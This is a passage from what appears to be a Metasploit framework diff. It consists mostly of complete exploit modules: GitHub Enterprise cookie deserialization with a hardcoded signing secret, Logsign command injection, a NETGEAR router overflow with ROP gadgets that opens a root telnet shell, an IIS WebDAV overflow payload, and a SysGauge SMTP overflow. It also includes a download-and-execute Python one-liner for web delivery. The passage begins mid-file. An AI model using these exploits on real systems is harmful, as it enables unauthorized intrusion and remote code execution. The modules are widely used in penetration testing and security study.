|
||||
end
|
||||
|
||||
def secret
|
||||
'641dd6454584ddabfed6342cc66281fb'
|
||||
end
|
||||
|
||||
def check
|
||||
uri = normalize_uri(target_uri.path, 'setup', 'unlock')
|
||||
res = send_request_cgi!({
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'vars_get' =>{
|
||||
'redirect_to' => '/'
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
vprint_error('Connection timed out.')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
unless res.get_cookies.match(/^_gh_manage/)
|
||||
vprint_error('No _gh_manage value in cookie found')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
cookies = res.get_cookies
|
||||
vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...")
|
||||
gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first)
|
||||
data = gh_manage_value.split('--').first
|
||||
hmac = gh_manage_value.split('--').last.split(';', 2).first
|
||||
vprint_status("Data: #{data.gsub(/\n/, '')}")
|
||||
vprint_status("Extracted HMAC: #{hmac}")
|
||||
expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
|
||||
vprint_status("Expected HMAC: #{expected_hmac}")
|
||||
|
||||
if expected_hmac == hmac
|
||||
vprint_status("The HMACs match, which means you can sign and tamper the cookie.")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def get_ruby_code
|
||||
b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
|
||||
bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
|
||||
register_file_for_cleanup(b64_fname, bin_fname)
|
||||
p = Rex::Text.encode_base64(generate_payload_exe)
|
||||
|
||||
c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
|
||||
c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
|
||||
c << "%x(chmod +x #{bin_fname}); "
|
||||
c << "%x(#{bin_fname})"
|
||||
c
|
||||
end
|
||||
|
||||
|
||||
def serialize
|
||||
# We don't want to run this code within the context of Framework, so we run it as an
|
||||
# external process.
|
||||
# Brilliant trick from Brent and Adam to overcome the issue.
|
||||
ruby_code = %Q|
|
||||
module Erubis;class Eruby;end;end
|
||||
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
|
||||
|
||||
erubis = Erubis::Eruby.allocate
|
||||
erubis.instance_variable_set :@src, \\"#{get_ruby_code}; 1\\"
|
||||
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
|
||||
proxy.instance_variable_set :@instance, erubis
|
||||
proxy.instance_variable_set :@method, :result
|
||||
proxy.instance_variable_set :@var, "@result"
|
||||
|
||||
session =
|
||||
{
|
||||
'session_id' => '',
|
||||
'exploit' => proxy
|
||||
}
|
||||
|
||||
print Marshal.dump(session)
|
||||
|
|
||||
|
||||
serialized_output = `ruby -e "#{ruby_code}"`
|
||||
|
||||
serialized_object = [serialized_output].pack('m')
|
||||
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object)
|
||||
|
||||
return serialized_object, hmac
|
||||
end
|
||||
|
||||
def send_serialized_data(dump, hmac)
|
||||
uri = normalize_uri(target_uri.path)
|
||||
gh_manage_value = CGI.escape("#{dump}--#{hmac}")
|
||||
cookie = "_gh_manage=#{gh_manage_value}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
if res
|
||||
print_status("Server returned: #{res.code}")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
dump, hmac = serialize
|
||||
print_status('Serialized Ruby stager')
|
||||
|
||||
print_status('Sending serialized Ruby stager...')
|
||||
send_serialized_data(dump, hmac)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
|
||||
Handy information:
|
||||
|
||||
To deobfuscate Github code, use this script:
|
||||
https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42
|
||||
|
||||
Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this
|
||||
algorithm:
|
||||
|
||||
* Takes the session hash (Json) in env['rack.session']
|
||||
* Marshal.dump the hash into a string
|
||||
* Base64 the string
|
||||
* Append a hash of the data at the end of the string to prevent tampering.
|
||||
* The signed data is saved in _gh_manage'
|
||||
|
||||
The format looks like this:
|
||||
|
||||
[ DATA ]--[ Hash ]
|
||||
|
||||
Also see:
|
||||
https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb
|
||||
|
||||
=end
|
|
@ -0,0 +1,77 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Logsign Remote Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits an command injection vulnerability in Logsign.
|
||||
By exploiting this vulnerability, unauthenticated users can execute
|
||||
arbitrary code under the root user.
|
||||
|
||||
Logsign has a publicly accessible endpoint. That endpoint takes a user
|
||||
input and then use it during operating system command execution without
|
||||
proper validation.
|
||||
|
||||
This module was tested against 4.4.2 and 4.4.137 versions.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => ['python'],
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'payload' => 'python/meterpreter/reverse_tcp'
|
||||
},
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'DisclosureDate' => 'Feb 26 2017',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
p_hash = {:file => "#{rand_text_alpha(15 + rand(4))}.raw"}
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => JSON.generate(p_hash)
|
||||
)
|
||||
|
||||
if res && res.body.include?('{"message": "success", "success": true}')
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Delivering payload...")
|
||||
|
||||
p_hash = {:file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #"}
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => JSON.generate(p_hash)
|
||||
)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,270 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'time'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::CRand
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow',
|
||||
'Description' => %q{
|
||||
The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi
|
||||
parameter.
|
||||
In order to exploit it, it is necessary to guess the value of a certain timestamp which
|
||||
is in the configuration of the router. An authenticated attacker can simply fetch this
|
||||
from a page, but an unauthenticated attacker has to brute force it.
|
||||
Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
|
||||
it is guaranteed that it can be bruteforced.
|
||||
This module implements both modes, and it works very reliably. It has been tested with
|
||||
the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with hardware
|
||||
revisions v4 and v3, but this has not been tested - with these routers it might be necessary
|
||||
to adjust the LibcBase variable as well as the gadget addresses.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix'],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-10174'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
|
||||
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'NETGEAR WNR2000v5',
|
||||
{
|
||||
'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions (in libuClibc-0.9.30.1.so)
|
||||
'SystemOffset' => 0x547D0,
|
||||
'GadgetOffset' => 0x2462C,
|
||||
#The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()):
|
||||
#LOAD:0002462C addiu $a0, $sp, 0x40+arg_0
|
||||
#LOAD:00024630 move $t9, $s0
|
||||
#LOAD:00024634 jalr $t9
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x25\x26",
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
},
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
|
||||
'DisclosureDate' => 'Dec 20 2016',
|
||||
'DefaultTarget' => 0))
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('HttpUsername', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']),
|
||||
OptString.new('HttpPassword', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']),
|
||||
], self.class)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
|
||||
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res.headers['WWW-Authenticate']
|
||||
auth = res.headers['WWW-Authenticate']
|
||||
if auth =~ /WNR2000v5/
|
||||
return Exploit::CheckCode::Detected
|
||||
elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def uri_encode (str)
|
||||
"%" + str.scan(/.{2}|.+/).join("%")
|
||||
end
|
||||
|
||||
def calc_address (libc_base, offset)
|
||||
addr = (libc_base + offset).to_s(16)
|
||||
uri_encode(addr)
|
||||
end
|
||||
|
||||
def get_current_time
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res['Date']
|
||||
date = res['Date']
|
||||
return Time.parse(date).strftime('%s').to_i
|
||||
end
|
||||
end
|
||||
|
||||
def get_auth_timestamp
|
||||
res = send_request_raw({
|
||||
'uri' => '/lang_check.html',
|
||||
'method' => 'GET',
|
||||
# automatically uses HttpPassword and HttpUsername to authenticate
|
||||
})
|
||||
if res && res.code == 401
|
||||
# try again, might fail the first time
|
||||
res = send_request_raw({
|
||||
'uri' => '/lang_check.html',
|
||||
'method' => 'GET',
|
||||
# automatically uses HttpPassword and HttpUsername to authenticate
|
||||
})
|
||||
end
|
||||
if res && res.code == 200
|
||||
if res.body =~ /timestamp=([0-9]{8})/
|
||||
$1.to_i
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Do some crazyness to force Ruby to cast to a single-precision float and
|
||||
# back to an integer.
|
||||
# This emulates the behaviour of the soft-fp library and the float cast
|
||||
# which is done at the end of Netgear's timestamp generator.
|
||||
def ieee754_round (number)
|
||||
[number].pack('f').unpack('f*')[0].to_i
|
||||
end
|
||||
|
||||
|
||||
# This is the actual algorithm used in the get_timestamp function in
|
||||
# the Netgear firmware.
|
||||
def get_timestamp(time)
|
||||
srandom_r time
|
||||
t0 = random_r
|
||||
t1 = 0x17dc65df;
|
||||
hi = (t0 * t1) >> 32;
|
||||
t2 = t0 >> 31;
|
||||
t3 = hi >> 23;
|
||||
t3 = t3 - t2;
|
||||
t4 = t3 * 0x55d4a80;
|
||||
t0 = t0 - t4;
|
||||
t0 = t0 + 0x989680;
|
||||
|
||||
ieee754_round(t0)
|
||||
end
|
||||
|
||||
def get_payload
|
||||
rand_text_alpha(36) + # filler_1
|
||||
calc_address(target['LibcBase'], target['SystemOffset']) + # s0
|
||||
rand_text_alpha(12) + # s1, s2 and s3
|
||||
calc_address(target['LibcBase'], target['GadgetOffset']) + # gadget
|
||||
rand_text_alpha(0x40) + # filler_2
|
||||
"killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload
|
||||
end
|
||||
|
||||
def send_req(timestamp)
|
||||
begin
|
||||
uri_str = (timestamp == nil ? \
|
||||
"/apply_noauth.cgi?/lang_check.html" : \
|
||||
"/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}")
|
||||
res = send_request_raw({
|
||||
'uri' => uri_str,
|
||||
'method' => 'POST',
|
||||
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
|
||||
'data' => "submit_flag=select_language&hidden_lang_avi=#{get_payload}"
|
||||
})
|
||||
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
# 1: try to see if the default admin username and password are set
|
||||
timestamp = get_auth_timestamp
|
||||
|
||||
# 2: now we try two things at once:
|
||||
# one, if the timestamp is not nil then we got an authenticated timestamp, let's try that
|
||||
# two, if the timestamp is nil, then let's try without timestamp first (the timestamp only gets set if the user visited the page before)
|
||||
print_status("#{peer} - Trying the easy way out first")
|
||||
send_req(timestamp)
|
||||
begin
|
||||
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
|
||||
if not sock.nil?
|
||||
print_good("#{peer} - Success, shell incoming!")
|
||||
return handler(sock)
|
||||
end
|
||||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
sock.close if sock
|
||||
end
|
||||
|
||||
print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
|
||||
|
||||
# no shell? let's just go on and bruteforce the timestamp
|
||||
# 3: get the current date from the router and parse it
|
||||
end_time = get_current_time
|
||||
if end_time.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
|
||||
end
|
||||
if end_time <= datastore['TIME_OFFSET']
|
||||
start_time = 0
|
||||
else
|
||||
start_time = end_time - datastore['TIME_OFFSET']
|
||||
end
|
||||
end_time += datastore['TIME_SURPLUS']
|
||||
|
||||
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
|
||||
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
|
||||
end
|
||||
|
||||
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
|
||||
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
|
||||
|
||||
# 2: work back from the current router time minus datastore['TIME_OFFSET']
|
||||
while true
|
||||
for time in end_time.downto(start_time)
|
||||
timestamp = get_timestamp(time)
|
||||
sleep 0.1
|
||||
if time % 400 == 0
|
||||
print_status("#{peer} - Still working, trying time #{time}")
|
||||
end
|
||||
send_req(timestamp)
|
||||
begin
|
||||
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
|
||||
if sock.nil?
|
||||
next
|
||||
end
|
||||
print_status("#{peer} - Success, shell incoming!")
|
||||
return handler(sock)
|
||||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
sock.close if sock
|
||||
next
|
||||
end
|
||||
end
|
||||
end_time = start_time
|
||||
start_time -= datastore['TIME_OFFSET']
|
||||
if start_time < 0
|
||||
if end_time <= datastore['TIME_OFFSET']
|
||||
fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
|
||||
end
|
||||
start_time = 0
|
||||
end
|
||||
print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")
|
||||
|
||||
# let the router clear the buffers a bit...
|
||||
sleep 30
|
||||
end
|
||||
end
|
||||
end
|
|
@ -92,9 +92,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
else
|
||||
resp = send_payload(generate_payload_exe)
|
||||
end
|
||||
|
||||
require'pp'
|
||||
pp resp.headers if resp
|
||||
end
|
||||
|
||||
def send_struts_request(ognl, extra_header: '')
|
||||
|
|
|
@ -86,7 +86,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
when 'PHP'
|
||||
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
|
||||
when 'Python'
|
||||
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
|
||||
print_line('Python:')
|
||||
print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"")
|
||||
when 'PSH'
|
||||
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
||||
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
|
||||
|
|
|
@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Microsoft Windows Server 2003 R2',
|
||||
'Microsoft Windows Server 2003 R2 SP2',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
},
|
||||
|
@ -82,19 +82,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
|
||||
def exploit
|
||||
connect
|
||||
|
||||
# Random string instead of `aaaaaaa`
|
||||
buf1 = "<http://localhost/#{rand_text_alpha_lower(7)}"
|
||||
buf1 = "<http://localhost/aaaaaaa"
|
||||
buf1 << "\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
|
||||
buf1 << ">"
|
||||
buf1 << "(Not <locktoken:write1>) <http://localhost/#{rand_text_alpha_lower(7)}"
|
||||
buf1 << "(Not <locktoken:write1>) <http://localhost/bbbbbbb"
|
||||
buf1 << "\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
|
||||
# The long strings of binary data are the original ROP chains from the PoC. It's just a long string of chinese characters to trigger the overflow
|
||||
|
||||
buf1 << payload.encoded # Append the payload to the end of the request body
|
||||
|
||||
|
||||
send_request_raw(
|
||||
'method' => 'PROPFIND',
|
||||
'agent' => nil,
|
||||
|
|
|
@ -0,0 +1,80 @@
|
|||
#
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
#
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::TcpServer
|
||||
|
||||
Rank = NormalRanking
|
||||
|
||||
def initialize()
|
||||
super(
|
||||
'Name' => 'SysGauge SMTP Validation Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
|
||||
via its SMTP server validation. The module sends a malicious response along in the
|
||||
220 service ready response and exploits the client, resulting in an unprivileged shell.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Chris Higgins', # msf Module -- @ch1gg1ns
|
||||
'Peter Baris' # Initial discovery and PoC
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '41479' ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 306,
|
||||
'BadChars' => "\x00\x0a\x0d\x20"
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows Universal',
|
||||
{
|
||||
'Offset' => 176,
|
||||
'Ret' => 0x6527635E # call esp # QtGui4.dll
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Feb 28 2017',
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]),
|
||||
])
|
||||
end
|
||||
|
||||
def on_client_connect(c)
|
||||
# Note here that the payload must be split into two parts.
|
||||
# The payload gets jumbled in the stack so we need to split
|
||||
# and align to get it to execute correctly.
|
||||
sploit = "220 "
|
||||
sploit << rand_text(target['Offset'])
|
||||
# Can only use the last part starting from 232 bytes in
|
||||
sploit << payload.encoded[232..-1]
|
||||
sploit << rand_text(2)
|
||||
sploit << [target.ret].pack('V')
|
||||
sploit << rand_text(12)
|
||||
sploit << make_nops(8)
|
||||
# And the first part up to 232 bytes
|
||||
sploit << payload.encoded[0..231]
|
||||
sploit << "ESMTP Sendmail \r\n"
|
||||
|
||||
print_status("Client connected: " + c.peerhost)
|
||||
print_status("Sending payload...")
|
||||
|
||||
c.put(sploit)
|
||||
end
|
||||
|
||||
end
|
|
